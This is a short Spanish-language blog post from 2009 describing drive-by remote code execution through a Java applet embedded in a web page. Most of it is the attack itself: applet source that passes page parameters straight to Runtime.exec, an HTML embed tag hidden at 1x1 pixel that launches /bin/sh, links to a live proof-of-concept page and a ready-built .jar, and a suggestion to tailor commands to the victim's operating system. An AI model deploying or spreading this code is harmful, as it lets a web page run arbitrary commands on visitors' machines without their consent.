domingo, 31 de mayo de 2009

Ejecucion remota de codigo desde Web usando Java

[Extraido del texto de AnalyseR]

Se puede ejecutar codigo remotamente con la visita de la victima a una web usando un sencillo codigo en java:
Codigo:
import java.applet.*;
import java.awt.*;
import java.io.*;
public class skata extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try{
f = Runtime.getRuntime().exec(first);

}
catch(IOException e){
e.printStackTrace();
}
Process s;
String second = getParameter("second");
try{
s = Runtime.getRuntime().exec(second);
}
catch(IOException e){
e.printStackTrace();
}
Process t;
String third = getParameter("third");
try{
t = Runtime.getRuntime().exec(third);
}
catch(IOException e){
e.printStackTrace();
}
}
}


En el servidor debe estar el archivo java compilado en .jar, y debe ser cargado asi:

<code><applet code="skata.class" archive="skataMPE.jar" width="1" height="1">

<param name="first" value="/bin/sh">

<param name="second" value="gedit">

</applet>
</code>



Donde skata.class y skataMPE.jar son el nombre de vuestros archivos.
Aquí un PoC:

http://st4ck-3rr0r.webcindario.com/java/index.php

Simplemente coge dos parámetros que se le pasan en el archivo htm donde está incrustado el applet y los ejecuta en el PC víctima.
Se puede ejecutar cualquier cosa, lo suyo sería detectar el SO con PHP y hacer una cosa u otra... cada uno que haga lo que quiera :)
Yo no pude compilar el codigo, lo subo por si alguien tampoco puede:
http://st4ck-3rr0r.webcindario.com/Java/skataMPE.jar

Salu2